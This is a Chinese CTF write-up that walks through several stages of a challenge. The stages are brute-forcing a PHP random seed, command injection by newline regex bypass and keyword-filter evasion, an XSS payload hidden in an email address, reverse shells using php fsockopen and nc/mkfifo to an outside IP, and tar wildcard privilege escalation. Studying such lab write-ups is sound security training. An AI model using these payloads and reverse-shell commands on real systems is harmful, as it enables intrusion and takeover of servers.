前言
西南石油大学比赛,做出了一道xss+tar提权,flask卡在了构造继承链
用优惠码 买个 X ?
flag在/flag中
URL http://123.207.84.13:22333
注册个账号登录
登录提示送你优惠码
优惠码保存在cookie中的Auth中
输入优惠码提示要输入24位的优惠码
http://123.207.84.13:22333/www.zip 源码泄露
只有个source.php文件
1 |
|
代码中只生成了15位。验证应该还有一个生成24位。
无论是rand()函数还是mt_rand()函数,当随机数种子相同的时候,无论运行多少次,产生的随机数序列都是一样的,随机数种子是关键。但是种子范围在rand(0,999999999);
只能爆破了,
kali下php版本为7.2.4,题目的版本是PHP/7.2.9-1,我发现本地用php5.4使用一样的种子生成的是不一样的序列
1 |
|
也就几分钟,就爆破出来了。可能是运气好
得到随机种子15252003,
设置$_SESSION[‘seed’]为15252003,得到优惠码tmqoTcEJsk5PJsFZfOqDZXbd
已经得到的session
PHPSESSID=42i3mgn649nj6vsvtc05h2oej6
进入下一个support
http://123.207.84.13:22333/exec.php
1 | if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){ |
虽然有了开头^和结尾$,但是有/m参数,/m表示开启多行匹配模式
使用%0a绕过
1.1.1.1%0awhoami
不知道为什么在输入框输入不行,要用参数提交
POST:ip=1.1.1.1%0awhoami
1 | if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){ |
过滤了cat flag关键字
使用变量绕过
1 | a=c;b=at;c=fl;d=ag;$a$b $c$d |
有趣的邮箱注册
post 传参 email,参考 p师傅 文章 攻击LNMP架构Web应用的几个小Tricks,将local part包裹在双引号中,""<sCRiPt/SrC=//xsspt.com/></sCRiPt>"@123.com"
可绕过检测,xss
借助 xss平台读取 /admin/admin.php
页面源码,a0a.php
发现命令执行
命令执行反弹shell,php -r '$sock=fsockopen("120.123.123.123",6789);exec("/bin/sh -i <&3 >&3 2>&3");'
flag在根目录下,shell用户为 www-data
,权限不够读取
查看目录或 nginx 配置文件发现目录 /4f0a5ead5aef34138fcbf8cf00029e7b
,一个上传文件页面
files目录是文件上传的目录
backup.php 文件源码:
upload.php 属于 flag 用户,代码里执行了 tar 命令,参考这篇文章 利用通配符进行Linux本地提权
创建三个文件:
1 | echo "mkfifo /tmp/lhennp; nc 120.123.123.123 23333 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > Str3am.sh |
通过 upload.php 上传,然后访问 backup.php ,得到反弹 shell,flag用户权限